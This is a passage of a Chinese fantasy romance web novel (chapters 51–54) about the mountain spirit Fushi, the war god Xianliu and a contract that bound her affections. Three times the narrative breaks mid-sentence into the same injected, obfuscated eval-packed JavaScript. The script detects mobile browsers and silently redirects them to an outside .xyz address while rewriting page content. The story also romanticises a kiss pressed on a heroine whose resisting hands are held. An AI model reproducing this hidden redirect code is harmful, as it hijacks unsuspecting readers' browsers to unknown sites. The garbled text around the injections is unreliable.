“你是山君!”她有些兴奋地放下手里的提篮,“我从前也是个山君,后来进阶,就被调到天界来了。” 扶西只觉得一见如故:“那你现在是什么?” 此话一出,那仙子扁了扁嘴:“我是个以前是山君的仙子。”她面无表情地捡起地上的提篮,声调也压了下来,“嫦娥仙子还在等我,诸位,先走了。” 扶西望着她飘然入月的背影,慢慢反应过来,登天之路艰难,登了天也只做得个小小仙娥。 还好自己没本事。 扶西又放心了。 * “涂药?没必要吧,施个法术,配几个回还丹,过两天估计就好了。”药王颇有些不解地从药架取下一罐药来,打量着献流神色,“天君为你疗伤,麟寻给你护法,小小皮肉伤,这会儿怎么矫情起来了。” 献流抬手接过,欲盖弥彰:“我怕留疤。”言罢他合袖拢住眉眼,轻轻笑了声。 殿外有笑声传来。 “这是药王殿,药王他老人家,一天炸一回。”觅影指着宫殿群中的一处,“你瞧,冒着烟,刚炸过呢!” 扶西顺着他手指望去,果然看到一股浓浓的黑烟,她点点头,拉着觅影转过去,附到他耳边道:“天界这么大,那通往下界的地方在哪里?” 觅影直起身子,拍拍手道:“我知道啊!你跟我来!” 只前行了两步,他便觉得脚底生寒,心如鼓擂,后背发汗,仿佛被一股灼热的目光捅穿了一样。 好奇怪。 他缓缓转身看回去,果然见献流立在药王殿前,神色晦暗,眉目凌厉。 “你们要去哪?”他一步步缓缓下阶,分明没做什么,觅影却觉得自己好像被踩了一脚又一脚,心口震得疼。 扶西望着献流缓步朝自己来,身子仿佛被定住了,她缓缓转过来,顺着献流审视的目光望向觅影扯着的衣袖上。 她莫名有些心虚,只好也停下脚步望着献流。 “你要去哪?”他又问。 “我……”总不能说她打算看看能不能回扶西山吧…… “她要去天外天。”觅影按下心中异样,忙不迭回答。 “天外天。”献流将这几个字在口中翻来覆去,“去那里做什么?” “扶西说她见天界好看,要我们带着转一转呢。” “问你了吗?”献流语气冰冷,慑得觅影扁扁嘴,恨不得退出三里地外。 “对,就是觅影说的那样,我就去转转。” 献流打量她几眼,忽而伸手过去准确无误地捞住她五指,把人往回带。 只行了几步,他便气息不匀,唇角渗出几缕血丝来。 “这是怎么了?”扶西惊诧,“受伤了?” 觅影咳嗽两声,声音亮如洪钟:“哎呀!神君替你挡下雷劫,受了重伤,否则也不会出现在药王殿了。” 扶西眉心紧皱,望着献流强忍痛苦的神色,只觉得鼻尖有些酸,眼眶痛得要命。 听完觅影的话,献流唇角悄然上扬,他紧紧扣住扶西的手,有些虚弱地往她身旁靠:“无事,先回启明殿。” 望着二人相扶远去的背影,寻踪拉住意欲上前帮忙的觅影:“行了,回来,你看不出来神君生气吗?” 觅影咂摸了一会儿才恍然大悟,他拍着大腿:“我说呢!神君哪有这么弱。”他嘿嘿一笑,用肩膀拱了供旁边的寻踪。 “我决定了,改站扶西这边。” 51. 再亲! “你果真替我挡下了雷劫?”扶西望着献流略显苍白的面庞,不由得蹙眉,抿着唇有些说不清的酸楚,怪不得做梦进阶,原来是真的。 只是没受雷劫之苦,还以为是梦里的妄想。 献流眨了眨眼,眼看着扶西五官越发皱在一处,通红的眼角里眼泪将落不落,原本有些得意欢快的心思顿时化作手足无措:“都是小事,你不必太过担心。” 扶西抬手拭去眼角的泪水,重重点头:“你放心,我对你还是很有信心的。”献流什么人,她什么人,她进阶渡劫的雷献流估计能抗百八十回,担心不是很有必要,不过扶西很是感激他,“我若有能帮得上忙的,只管开口。” 献流悻悻地收回将要落到扶西眼角的拇指,稍显尴尬地别过头,心里头难免嘀咕两句。 不是,她怎么真不担心啊…… 他有些无奈地将手里的药罐转了个圈,正欲收回袖中,却被扶西那双铜铃似的眼给捕捉到了,她眼疾手快地拿过来,笑得谄媚:“想必这是治伤的药,您老人家哪里伤了,够不到的地方通通交给我!” 献流有些狐疑地望着扶西神色,仿佛她方才的伤感只是他的错觉,这会儿扶西又成了那个总被陆眠称作糊涂蛋的倒霉山君。 她如此正义凛然,倒显得他莫名的心思龌龊,可在扶西山,明明是她先表明的心迹。献流去看扶西,果真见她跃跃欲试,已经在嗅着打开的药罐,估计是味道苦涩,她鼻子还略有嫌弃地皱了一下。 “扶西,你我不必如此生分。” 扶西循着他声音望过来,眼珠子滴溜一转,一副茅塞顿开的模样,她煞有其事地重重点头,而后快步行至献流面前,不由分说地扒掉了他里三层外三层的衣裳。 她嘿嘿笑了两声:“你早说啊,我害怕你到了天上位高权重,不肯理人呢。”她一面说,一面熟捻地将献流转了半圈,抬手就给他背上的伤口涂药,“我瞧着都是些皮肉伤,不打紧,估计很快就能好。” 献流还有些懵,脊背上传来扶西指尖稍显冰凉的触感,他心脏跳得更加用力,整个人暴露在外的皮肤不觉冷,反倒有些丝丝缕缕的痒热。 虽同他一开始的预想不太一样,可扶西到底是给他涂上药了,想到这里他唇角忍不住轻轻扬起,整个人沉浸在一股愉悦满足的氛围里。 “你说怎么样?” “怎么不说话?” “哎?” 直到扶西一双扑闪扑闪的眼近距离地凑到他面前时,献流才大梦初醒地回过神来:“什,什么?” 扶西的眉毛瞬间就压了下来,如水的眸子里露出一丝不解过后又立刻转做生硬的笑意,她收回弯着的脖颈,有一下没一下,毫无章法地捏着献流的肩膀:“我说真身的事啊,你看你现在已经回归天界,应当用不上我那个上不得台面的真身了吧,什么时候还给我啊。” 扶西在心里头已经抹了三四回的眼泪了,要回原本属于自己的真身,还这么卑微的人,她是头一个吧。 谁让献流是声名远扬的战神,他要是生气,六界都得抖一抖吧,想着想着,扶西又开始心不在焉起来。 “抱歉。”献流抬手按住扶西乱扭的手,指尖下意识地摩挲着她手背,“此事我已问过药王,明日就带你去药王殿,将真身取出还你。” 扶西心底里的一块大石头总算是落了地,想起前头她胆战心惊地伏在地上,满脑子都是献流归天,对她清算,现下看来,献流不仅没介意她之前的无礼,还帮她挡雷劫。 实在是个大好人呐! 她忍不住脱口而出:“神君!你可真好!” 献流见她又这样按捺不住溢美之情,心情不由愉悦几分,手臂轻轻用力,覆住扶西手背的掌心已移至手腕,鼻尖飘来淡淡的木香,扶西轻薄的衣袖划过他的脸颊,最后积在他胸口。 扶西出神之间,只觉得天旋地转,下一刻,她落到了献流的怀中,鼻尖还抵着他的胸口,这倒也不是没碰过,只是前头都隔了衣服,这回可是晃眼的白,扶西只觉得呼吸急促,整个人游离在情况之外。 “那你要怎么感谢我?”献流问。 扶西实在是不敢抬头,她回想起自己在扶西山抱着献流的大腿痛哭流涕,怎么别的话不说,偏偏将那种话脱口而出。这下她真是进退两难,树杈子着火,偏偏上头都是枯叶,但凡再烧得旺一些,她能变成灰了。 献流也不催促她回答,只有均匀轻柔的气息缓缓落在她的耳廓之上。 她想跳海。 “我,我可以为了你跳海。”话音刚落,扶西才反应过来自己已经出声,她咬紧牙关,将头又偏了偏,只在心中怒吼,天呐,扶西,你到底在说些什么啊! 献流却轻轻一笑,已经将她这句话反复咀嚼琢磨,这是什么意思,他只消稍微一想就能明白。 扶西为了他,可以去死。 如此沉重的誓言与承诺,极有分量地敲击在献流心上,他收敛了方才有些外放的松活表情,转而变得郑重起来,他腾出一只手来挪了挪扶西的脑袋,让她抬起头来。 扶西说她是个比较害羞的人,他一直记得,想必那日直白的表意,已经耗光了她的勇气,现下只能说些比较委婉的话。 好在他都听得懂。 “我明白。”他望着扶西的眸子里波光粼粼。 扶西嘴角扯起一个有些生硬的笑容,他又明白什么了。 一般献流说诸如“我懂了”“我都明白”,就是不懂也不明白,扶西垂下眼睫,只觉得身体比木头还僵,她该怎样说实话,才能让献流既不生气,也不尴尬,还能继续和她保持友好的交流呢? 不如直说好了,惜命犯怂,能屈能伸又不是什么恶劣的品行,再说了,她取回真身天经地义,总不能因为他地位斐然,就要欺压她们这些小仙吧。 再者,献流还是挺讲理的。 “神君,其实我……” 话还未完,扶西的嘴唇便被封了个严实,剩下的话像是一缕轻烟,所有的尾音都消散在含糊不清的呜咽里,她双眼不由得睁大,还未从震惊中缓过神来,便想下意识地开口说话。 不过一瞬,在她回过神来紧闭齿关之际,献流的唇舌已经先行一步,从前那块僵死在原地的扇贝鲜肉如今兴致大发,扶西只觉得喘不上来气,连推拒的手掌都被视作不轻不重的“欲拒还迎”,被献流生生钳住,无法动弹。 献流很是投入,他方才观察扶西,她垂着眼皮,睫毛轻颤,不知在想些什么,循着她视线,献流发现,扶西似乎一直在盯着他的嘴唇看,意识到这一点,他的脸颊有些发烫,可还是忍不住也去看扶西的嘴唇。 见她的唇时而被抿住,时而稍稍皱起,直到下唇留下一抹“形迹可疑”的齿痕,献流只道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448918|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出了她痛苦的纠结。 是了,扶西说过她比较害羞,献流轻轻一笑,垂头吻了下去。 扶西的睫毛因此刻陌生的感受轻轻扑颤,脑海中不由得回想起那鲛人的魅术,她立刻记起来,是了!于是她往献流舌上咬了一下,她不好意思咬得太重,谁料献流以为是回应,越发来劲。 扶西在心中轻叹一口气,一如山中那日,重重咬了下去,献流吃痛,终于松口,他眸中水色未退,又添疑色,扶西望着他这张好看得过分的脸,方才打算坦白的话是一句也说不出来了。 她嘴唇动了动,结结巴巴半晌,终于从献流身上跳下来,一张脸红得快要滴血:“我,我有点喘不上气了。”言罢她再不能在着屋里待了,嘴上话才完,双腿已经十分自觉地来到门前,双手已经打开了房门。 不等献流回应,她便一股脑冲了出去。 她不知道去哪,只在身后启明殿天兵的询问中胡乱脱口而出:“我去,我去找,找……” 找谁呢? 她谁也不认识,偌大的天界,富丽堂皇,云雾飘飘,扶西头一次感受到这种陌生的异样,她忽然很想念扶西山,那才是她应该待的地方。 “我找人。” 言罢,她身后窜起烟尘,整个人已经像滚轮一样飞出了“十万八千里”,凉丝丝的雾气扑到脸上,她不知跑了多久,终于累极,缓缓停了下来。 她心如乱麻,一股说不清道不明的情绪萦绕心间,她抬起手掌,很想打打自己的嘴巴。 但想着估计很疼,还是作罢了。 她怎么就说出这样胆大妄为的话,当时脑海一片混沌,见了厉害的便膝盖发软,谗言不断,而献流如今似乎信以为真。 抓狂之际,扶西耳畔忽而传来调笑之声。 “灵光,你好不讲道理。”女仙声音娇嗔,尾调悠悠上扬,勾人极了。 “不过露水情缘,仙子与我欢好,若以后有了想真心托付之人,再分开不迟。”男声颇有磁性,好像还故意压低了声调。 扶西脑海震荡,天界如此神圣之地,也会有这样的事情? “你从前非瑶池仙子阿岚不要,如今倒是说撒手就撒手。” “阿岚地位卑贱,如何与我相配。”他话里话外傲气尽显,“我赏她一段时间的风花雪月,已经是便宜她了。” 那女仙哼了一声:“是是是,你可是尊贵无两的灵光帝君,天界除了天君和她的徒弟们,再没人能压你一头。”她笑声如银铃,“你之前答应我的事,可不许反悔。” “哈哈哈,那是自然。” 灵光和那仙子又调笑几句,渐行渐远。 扶西脑海里不停地回味着灵光所言,下界分三六九等,天界众神也是肉体凡胎,七情六欲不能免俗,灵光对待感情如此轻贱,张口闭口就是身份尊卑。 献流呢?他也是这样的吗? 天界女仙尊贵,他要吃吃野味?一旦产生这样的想法,扶西胸腔中先是气愤,而后平静,再然后,她劝慰自己,若是如此,她就不再坦白了,等拿回真身就回扶西山去。 他一个身份尊贵的战神,难不成还要跟她这小小的地仙过不去? “是扶西山君吗?” 思索间,扶西身后传来个清如碎玉的声音,她回头,看到一个微笑着的小仙童。 “天君传召,请随我来。” 52. 形同陌路 宝殿宏伟,高耸入云,半数没在云层之中,时而有风铃飞荡,声音悦耳。 扶西来不及欣赏这宏伟的建筑群,只在仙童指引下来到一处较矮的偏殿。 殿中无人,扶西只觉得自己又回到了西海龙王殿,不由得打了个冷战,都说师徒多有相似,她拧着眉毛将献流和麟寻的脾气秉性凑了凑,怎么也打磨不出这天君的性格来。 恍惚间,扶西看到个身量极高的背影,彩衣飘飘,气质斐然,瞧着极年轻,他脚步尤其轻快,缓缓生风,一把形似冬日冰棱堆叠而起的伞自他身后出现,带来一片凉丝丝的风。 所谓的寒魄伞? 看来这天君也招摇得很,六界多久都没战事了,还带着绝世神兵亮相,生怕别人认不出来。 扶西觉得自己还是有几分眼力见的。 “来的倒是快,你可知自己所犯何罪!”来人开口,俱是审问意味,在扶西耳中回荡。 怎的是个男声? 罢了,人家天君女人当腻了,做两天男人倒也不奇怪。 扶西是个怂的,听到此处已经双腿发软了,天君震怒,她一介小仙,自然战战兢兢,通的一声伏倒在地。 天君是何人?横扫四海的狠人,传闻她曾经杀夫证道,手段狠辣非常人所及,她如何再敢多言辩驳。 “我,我不该欺骗,献流。”扶西咬牙,将实情托出,她低着头,脑海里头已经又哭了一通,开天辟地以来最倒霉的神仙之一没有她,她是要闹的。 “哼!”那人冷哼一声,“献流?神君本名,也是你能直呼的?” “我不该,不该欺骗神君他老人家。”扶西思来想去,还是忍不住为自己辩解半句,“可我也是权宜之计。” “好一个权宜之计,你知不知道,因为你的权宜之计,神君在下界受了多少苦!”那人越说越激动,手中冰魄般的伞面伞骨骤然破裂,混着强大如风的仙力,朝扶西面上扑来。 “他都那样了,我实在看不出来啊。”扶西偏过头,“况且我也没对他做太过分的事,就丢了点脸罢了。”扶西越说声音越小,她此刻居然不受控制地幻想起来,若献流真是个小仙,就好了。 “丢点脸?不算过分?”他怒气更甚,周身清冷的气息似乎有隐隐烧成大火的趋势。 扶西不解,她所做之事,真有这样罪无可恕吗?若非她真身相护,献流说不准早就死了,他们这些人哪里还有在这里问她罪的功夫。 “你难道还想对他做更过分的事情吗?”他气息有些急促,“我绝不允许!” 扶西神色恹恹,直接是跪也懒得跪了,干脆往地上一坐,摆摆手道:“那你要怎样?不然你叫献流将真身速速还我,我回下界去,省的在这里纠缠不休。” 面前的人沉默了。 扶西愣了愣,趁热打铁:“您老人家的天界就是狗屁规矩多,什么上上下下,尊尊卑卑,啰里吧嗦,我就是个无欲无求的散仙,长生不老,逍遥快活就是我的终极追求。 若非献流坠入扶西山,吃了我的真身,我哪里会掺和到这堆乱七八糟的事情里,你们是天,你们是最尊贵的仙上仙,你们可以动动手指灭了我。” 扶西顿了顿,又好声好气商量起来,“不过还是给我留点魂魄精元什么的,我再慢慢修炼出来嘛。” 那人还是不说话,似乎比扶西更为不解。 下一刻,忽有天兵撞破殿门而入,押解着个贼眉鼠眼的小仙男:“岛主!人给你抓来了!” 扶西眨巴着眼睛,岛,岛主…… 哈哈…… “岛主!岛主!我真不是故意的,当时明明是您说有人冒充神君,要我狠狠惩戒!”那人吞了吞口水,“这法子虽上不得台面,但管用啊!” 那气质斐然的人干巴巴笑了两声,目光在扶西和说话那人身上来回半天:“你,你不是,不是被抓来的?” 原来这男人根本不是天君,而是献流师弟,蓬莱岛主褚易! “山君!”仙童的声音也在殿外响起,他扑进来,跌跌撞撞地整理着头冠,面露羞愧,“我带错路了,天君不在此殿。” 扶西嘴角抽抽,半边身子传来一阵拉扯的力量,原来是仙童拉住了她衣角:“山君跪着做什么,快起来啊。” 褚易咳嗽两声:“起,起来吧……”为逃避尴尬,他转头便指着那个贼眉鼠眼的男仙,“你出此损招,叫师兄如何看我!拖下去!重重地罚!” 扶西和褚易都竭力避免对视,扶西都走到殿门口,还是折了回来,望着褚易露出个有些僵硬的笑容。 “哈哈。” 褚易:“哈哈。” “就是,岛主,我方才说的,您不会放在心上的,对吧?”扶西咧嘴笑开,盯着他的脸等待回答。 褚易笑而不语,轻轻点了点头。 扶西松了口气,终于跟着仙童来到天君所在之处。 殿中人端坐宝座上,目光冷冽好似霜雪,一头银丝恍若飞瀑,光芒却柔和,扶西只觉得起了一身鸡皮疙瘩。 扶西被她的气质震撼到,整个人呆愣在原地,连仙童何时离开的都不知道。 原来,这才是天君,无需言语,她只单单往那里一站,自愿伏倒在地的人便数不胜数。 帝容敛去面上笑意,打量的目光寸寸扫过扶西,半晌后她开口:“你说,你太爱献流了,舍不得他离开扶西山?” 扶西面露难色,怎么这么直接,就这样问出来了。 “我,我……” 她轻笑一声,忽而从座上闪现至扶西面前:“不必急着答我,你仔细想想,献流是我现下最得意的弟子,他的脾气秉性,我倒也算了解。” 扶西喉头动了动,身子僵硬得不行。 天君此言何意? “他这个人,最痛恨的事,就是欺骗。” 扶西瞳仁一缩,此话仿若重石坠地,砸得她心头震动,与献流经历过的种种如走马灯一样在脑海中纷至沓来,她唇色忽的就白了。 三分为天君如冰如霜的气质,三分因天君那句话。 “若,若有人欺骗了他,会怎么样?”扶西结结巴巴,鼓足勇气说出心中所想,脸颊上的肌肉已经快定型了。 帝容闻言唇角稍稍勾起:“这个嘛,我想想……” “其实没什么,就是再无交集罢了,不说见面了,连话也再说不上。”帝容轻叹口气,“见面不识,形同陌路。” 扶西心头又涌起浪来,一阵阵拍在胸膛上,她似乎可以接受献流知道她胡说八道后的生气质问,但却不能接受他平静地揭过此事,只当做从未发生,然后和她形同陌路。 思索间,她眼眶已经有些泛红,脑海里滚过无数个献流与她见面不识的场景,扶西只觉得鼻头酸楚,呼吸急促。 “想好了?”帝容轻声询问。 “多谢天君!我知道该怎么做了。”扶西朝帝容拜了拜,一双腿剪刀似的就要往外跑。 “且慢!”帝容将她拉回来,手掌泛起阵阵如烟如雾的光芒,缓缓覆上扶西锁骨下的衣襟,“你的真身被生契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473550|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所封,又有你血液做媒,契约更紧,我此刻帮你解除,拿回真身时痛楚能减轻许多。” 扶西感觉胸口温热,抬手下意识地按住帝容手背:“多谢天君,取回真身会很难受吗?”她顿了顿,“是我更难受,还是献流更难受呢?” 帝容见状微微一笑:“你放心,就和针扎别无二致。” 扶西重重点头,眼角已经红了:“今日若非天君提点,我不知还要纠结到什么时候,我想通了,我这就去找他。” 帝容望着她奔去的背影,松了口气,半晌过后,她拍了拍手笑出声。 这不是成了是什么! 怪不得献流那小子说要退婚时自信满满,只说两人两情相悦,不能分离,更有扶西不顾众人目光倾情告白。 年轻人,就是有力气。 * 扶西有些失魂落魄地原路返回,穿过雾气弥漫的大道中道小道,颓丧的脑袋在看到路尽头那个熟悉的身影时立了起来。 献流居然在路上等她。 他看上去还是那副一丝不苟的模样,凌厉的眉眼此刻平静如水,长睫微垂,高大修长的身形在飘扬的彩衣衬托下竟显出一两分伶仃来。 他身旁竟好巧不巧,立着一株高大的桑树,叶片零落,嫩绿不再,枯瘦的叶被风一吹,像个蹒跚的老者。 身处其中的献流见她身影,唇角露出一抹苦涩的笑。 她怔了怔,立时跑过去:“你,你特地在这里等我吗?” 献流轻叹口气,微微颔首。 “献流!我必须跟你坦白!那日在扶西山我所说的话……” 献流却开口打断了她:“我已经都知道了。” 扶西心头有些苦涩,怪不得他如此风平浪静的模样,原来早就知道了,自己的坦白似乎也没争取到从宽处理。 “那,那你不怪我吗?”她望着献流近乎平静的面色,试图从其中找出一丝波动来。 可惜没有。 他摇了摇头:“情势所迫,非你所愿,我不怪你。” 这是原谅她的意思? 可看着献流的模样,她却怎么也笑不出来,这不是她方才心之所念吗?献流原谅了她的胡说八道,难道不好吗? 扶西只觉得心头不生快意,反而有无数丝丝缕缕的线头缠绕,紧紧束缚着她的心脏,她很想说些什么,却张不开口。 “那你现在怎么打算?”献流面目宁静,看似关怀的语气其实冷冰冰的。 扶西有些慌神:“我,我自然是,回扶西山去。”她手忙脚乱,居然将真身的事给忘了。 果不其然,头顶传来献流一声轻笑,片刻后,他宽大的手掌轻轻抚上扶西头顶:“这是从药王那里讨来的药,服下后真身便可以归位了。” 不过一瞬,献流的手就撤了回去,扶西压着眉眼,强忍住眼眶里的泪水,一把服下那红色的药丸。 献流果真同天君说的一样平静,他对自己当时的欺骗根本毫不在意,扶西想到这里,只觉得喉咙灼热不已,说话都带着哭腔:“好,那,以后……” 她摇了摇头。 献流却问:“什么以后?” 扶西回过神来,唇角往上扬了扬:“没,没什么。”她声音小下来,“不会有以后了。” “我送你去天外天。” 扶西抬眼,没想到这么快,她才服药,献流就这么不想看见她了,竟如此着急将她送离天界。 扶西只好点头。 回扶西山吧,一切都会跟从前一样的! 53. 同心契? 一个时辰前。 启明殿中,献流立在房门口良久,唇边淡淡的热意还未退去,他不知想到了什么,唇角忍不住轻轻扬起。 远处白芒渐盛,又在极快的速度下坍塌,来人周身星光熠熠,长裳曳地,看上去不过十四五岁的模样,红色的腰带在风中盘旋飞扬。 “师兄!” 那人大喝一声,便迫不及待地从云头上跳下来,估计是太着急了,竟直冲冲跌到了地上。 献流忙上前将他扶起:“金昌?”替他拍了拍衣裳,献流这才打量起他模样,“你不在天河布星,慌里慌张地来做什么?” 金昌星君不说话,只急吼吼踏入房中,连喝了三碗水,这才慢悠悠地变回原本的模样,金衣耀眼,眉目深邃。 献流跟着进来,一看便知,他又扮作仙童躲懒去了,一把年纪,正事不做,他看这师弟的眼中难免带了些愤懑。 “听闻你失踪良久,带了个小地仙回来,还同师父说要退了同师姐的婚约?” 献流只道天界的消息向来走漏得极快,他虽见怪不怪,可这舆论中心是自己,难免有些不自在:“确有此事,怎么了?” 金昌猛地抓住他手:“师兄,你们倒了大霉,这一切怕都是你自作多情。” 献流听他说出这样的话,反而觉得金昌愈发不可靠:“并非我自作多情,我们心意相通,这点毋庸置疑。” 金昌望着献流那副春心荡漾的模样,直呼见鬼,默了一瞬,他才重重叹了口气:“我将知道的都说与你听罢。” 原来,太白金星广收门徒,今日开坛做法,道法枯燥,却有许多新面孔涌入天界,金昌图乐,翘了天河的事务,也跑去玩了。 人群熙熙攘攘,金昌打着瞌睡挨过讲经,终于有机会跟那些小弟子搭话,席间难免吵闹,献流这桩风流韵事自然不胫而走,席上几乎无人不知。 金昌也凑过去听了几耳朵,初时不过觉得稀罕得很,师兄一株千万年不开花的老铁树,也有如此离经叛道的一天,越听便觉得有些不对劲了。 他化作跟他们年纪相仿的仙童,看上去面相良善,其中一人心中难捺,脱口便道:“你们可知战神出自何处?” 这问题六界几乎无人不知,献流出身早已湮灭许久的雪国神族,他若是讲这个,真是无聊至极。 金昌端着食盘意欲走开,谁料这人在众人唏嘘声中悄声道:“我从古籍上知晓,雪国神族后裔生来体内便有同心契,这东西邪得很” 金昌脑中警铃大作,立时冲上前拨开人群,单手将那小弟子揪了出来:“师兄私事,也容你在这里非议?” 有人认出了他,连忙推搡着同伴离开。 见众人散了,金昌垂眸,半威胁半商量地叫那小仙将他知道的和盘托出。 原来这同心契是为了神族保命用的,一生中只有在濒死时才会触发,封印容貌声音以避祸,以图来日,此时若有人意图趁人之危害神族性命,同心契便会自动与之相结,从此修为相通,生死相连。 初时神族体弱不堪,便会在同心契驱使下尽量满足另一人的要求,那人修行所得尽数归于神族不算,还会逐渐对神族情根深种,非解契不能移。 “你跌入山中,容貌声音皆被封印?” 献流抬眼,轻轻点了点头。 “你对她是否有言听计从的时候?” 献流又点头:“初时的确如此,后来”,对,后来他修为恢复过半,便再也不会这样了,因耗尽仙力变成“傻子”的情况也没再出现过。 扶西也时时嚷嚷,自己不论怎么修炼,天地精华皆如泥牛入海,不知所踪,原来都是归他所有了。 金昌见他神色愈发难看,忍痛又往他心头来了重重一击:“她是不是对你情根深种,对你百般纵容?” 献流仿佛被一记无形的重拳击倒在地,整个人方才的意气风发顿时荡然无存,他手指紧紧扣在桌边,有些脱力:“会不会是,他胡说八……” 金昌啪的一声将书册拍到桌上:“我也担心他乱说,所以到藏经阁中取来,亲自翻看的。”见献流唇色渐渐苍白,他也有点于心不忍,可也明白面对这些糊涂东西,就该快刀斩乱麻,迟则生变,“不信你自己看!” 献流平复呼吸,握住书脊的手指用力地发白,他自认饱读六界书册,过目不忘,为何独独不知此事。书册上的字恍若有了生气,横竖撇捺从纸页上缓缓飞起来,重重撞进他的瞳仁中。 生死相连,修为相通。 情根深种,予取予求。 脑海中不可避免地出现扶西的笑颜,他喉头动了动,半晌才抬起略有些通红的眼眶,他心中竟生出一个可怖的想法,若是扶西一直都不知道呢? 金昌被他神情吓了吓,往后仰了一点,四海平定后献流不似从前凶狠,气质亦柔和了许多,已经太久不曾在他脸上见过如此锋利的表情了。 “师兄?”金昌小心翼翼。 “她知道了吗?”献流按住起伏稍大的语气。 金昌摆手,从他神情中窥得一两分狠厉来:“那个小地仙,她不是被师父唤去了。”他一副恍然大悟的模样,“怪不得,莫非师父早已知晓真相,此番正是为了同心契之事叫她去的?” 献流猛然起身,欲夺门而出,可上涌的气血忽而归于平静:“瞒得了一时,瞒不住一世。”他叹口气坐了回去,“来日她若知晓真相,只怕会恨我。” “我不愿她恨我。” 金昌哪里见过献流如此模样,心头抖动两下,只想灰溜溜地跑开,可又觉得自己似乎打破了献流的某些幻象,害得他此刻难受,只好出言安慰:“师兄,这些都是古籍所载,不一定是真的。” 献流抬眼,想起金昌方才那副信誓旦旦的模样,自然明白他有些徒劳的安慰:“与你无关,你先回去吧。” 金昌哦了一声退出门外,脚步却有些迟疑,他忍不住又挪回去,倚在门外打量献流神色。 金昌眨巴着眼睛,没想到不过转瞬,献流竟已恢复了神色,冷漠疏离,不苟言笑,若非轻垂的眼睫缓缓颤动,谁能瞧出他面上的几分愁色。 金昌又跨进来:“师兄,世间女子千千万,何必单恋一枝花,来日事情暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475503|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露,你们必成怨侣。” 献流愣了愣:“我会去请师父,替她解契。” 说话间,觅影跑了进来,笑呵呵地:“神君安排我跟着她,这山君也真是有趣,她走错地方被蓬莱岛主好一阵痛骂。” “痛骂?” “是啊,岛主也拿他没办法,扶西可是赖账的好手,阴阳怪气的。”觅影自觉地捡了个凳子坐到献流旁边,“说什么懒得纠缠不休,说我们是仙上仙。” 说者无心,听者有意,献流听到纠缠不休四个字,心脏跳动的速度快了起来。掌心出了一层薄薄的汗。 “她还说什么?” 觅影歪着脑袋想了半天:“左不过真身长,真身短,说自己无欲无求,只想逍遥快活。”他又顿了顿,“后来到天君那里,我就不好光明正大偷听了,零零散散听到些什么欺骗,什么契约,什么解除,听得云里雾里的,这会儿她该回来了吧。” 献流稳住身形,将这些破碎的词句一一拼接,脑海中立刻有了个模糊的场景,师父估计早就知晓此事,扶西向来喜欢自在快活,她在褚易面前所言几乎都出自本心,而受同心契影响不得不对自己放纵,甚至违背内心剖白心意,此时契约已解,她怕是不会再回来了。 他起身,仿佛下定了决心,从药王那里取来药,在她方才走过的路上等着。 路遇一棵桑树,叶片零落,他下意识地驻足,抬头看了一眼。 他看着扶西有些失魂地走过来。 他看见她嘴唇翕动,见面的第一句话就是迫不及待的坦白,他不想听,于是打断。 她说她要回扶西山,长睫轻垂,没有正眼看他,只问自己怪不怪她。 他怎么会怪呢。 “情势所迫,非你所愿,我不怪你。” 献流听她嘟嘟囔囔,说着再没以后的话,心如刀绞,同心契困住扶西的内心,还叫他自以为是,原以为的两情相悦,不过是他一厢情愿。 扶西生性就爱自由,契约已解,回扶西山是板上钉钉的事,于是他取出药丸,递给她服下。 看她如此干脆利落,等这一刻确实太久了,没有契约束缚,她连多余的眼神也不想分给他。 献流轻轻叹口气:“我送你去天外天吧。” 扶西没表现出反对,亦再没有其他的话留给他,她答应得爽快,跟着他来到天外天的层云之上。 寻踪觅影分立两侧,正等着他们。 扶西走过去,一言不发。 献流还是没忍住:“你以后,应该不会再回来了吧?”他用目光描摹着扶西的五官,惊觉她的情绪似乎很是平淡,不悲不喜,只有紧绷的脸颊露出她一两分的不快。 “你这话什么意思?” 献流望着她眼眶之中隐隐的泪花,忽然觉得是不是还有转圜的生机:“我,我的意思是……” “你放心。”她冷哼一声,“我不会来了。” 她的话散在风里,献流在云层上站了很久,从霞光万丈到星辰密布,浓稠的夜色里,连风声也听不分明。 他拂了拂衣袖,该回去了。 54. 变成了男人? 扶西觉得自己似乎被架在炭火上烘烤。连绵不断的热气从皮肤传入五脏六腑,她能感受到血液奔腾游走,缓缓生长的骨头催促着皮肉的扩大和紧绷,她难受地闷哼一声,终于挣脱可怖又混沌的梦境,缓缓睁开了被汗水浸湿的长睫。 夜色尚深,月光如水,密密地在地上铺了一层。扶西平复呼吸,只觉脚底生寒,可她分明记得入睡时被子裹得很紧。 